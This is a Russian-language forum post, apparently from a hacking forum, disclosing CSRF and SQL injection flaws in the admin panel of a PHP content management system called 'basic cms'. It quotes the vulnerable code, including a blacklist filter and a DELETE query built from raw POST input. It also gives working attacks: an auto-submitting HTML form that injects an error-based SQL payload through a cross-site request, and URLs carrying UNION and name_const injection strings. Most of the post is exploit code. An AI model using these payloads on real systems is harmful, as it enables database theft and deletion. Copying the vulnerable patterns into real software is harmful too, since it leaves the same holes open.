
12.04.2010, 11:00
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
123
basic cms
CSRF + SQL inj(в админке!)
просто выношу потому что редкий интересный случай1
Admin/Pages/List.php
PHP код:
...
$strAction=QuerySafeString($_POST["txtAction"]);
}
if ($_SESSION["Admin"] =="Y")
{
$conclass =new DataBase();
if ($strAction=="DEL")
{
if (isset($_POST['chkSelect']))
{
$strSelection=$_POST['chkSelect'];
$strSQL="DELETE FROM pages_t_details WHERE id IN(". join(',', $strSelection) . ")";
//print $strSQL;
$strErrorMessages="";
$var1=$conclass->Execute ($strSQL,$strErrorMessages);
}...
Includes/Database.php
PHP код:
...
function QuerySafeString($pstrString)
{
$badChars = array("\'");
$newChars = array("'");
$pstrString = str_replace($badChars, $newChars, $pstrString);
$pstrString=killChars($pstrString);
return $pstrString;
}...
Includes/Database.php
PHP код:
...function killChars($strWords)
{
$badChars = array("select", "drop", ";", "--", "insert", "delete","Update");
$newChars = array("", "", "", "", "", "", "");
$strWords = str_replace($badChars, $newChars, $strWords);
return $strWords;
}...
Вывод ошибки от СУБД
Includes/Database.php
PHP код:
...
function Execute($strSQL,$strErrorMessages)
{
$result = mysql_query($strSQL) or die("Query failed : " . mysql_error());
return $result;
}...
Result:
<FORM action="http://localhost/basiccms/Admin/Pages/List.php?txtAction=" method="POST">
<INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="666" checked>
<INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="(Select * from (Select name_const(version(),1),name_const(version(),1))x) " checked>
<INPUT type="checkbox" name="txtAction" value="DEL" checked>
<input type=submit value="inj">
</FORM>
SQL inj
Admin/Pages/AddModifyInput.php
PHP код:
...$strsql = "SELECT id, title,description,startpage FROM pages_t_details WHERE id=" . $strID;
$rst= $conclass->Execute ($strsql,$strError);...
Result:
http://localhost/basiccms/admin/pages/AddModifyinput.php?ID=9+union+Select+1,version%28% 29,3,4
Также уязвим Admin./Pages/AddModifyDelete.php
XSRF+SQL inj(права админа!)
PHP код:
...$strsql="DELETE FROM pages_t_details ";
$strsql.= " WHERE id=" .SQLSafeString($strID);...
Result:
http://localhost/basiccms/admin/pages/AddModifyInput.php?action=DEL&ID=1+or+%281,2%29=%2 8Select%20*%20from%20%28Select%20name_const%28vers ion%28%29,1%29,name_const%28version%28%29,1%29%29x %29
ps еще можна было провести (в других файлах) XSRF на добавление пользователей, ... + SQL inj(права админа).
Последний раз редактировалось Strilo4ka; 15.04.2010 в 05:59..
|
|
|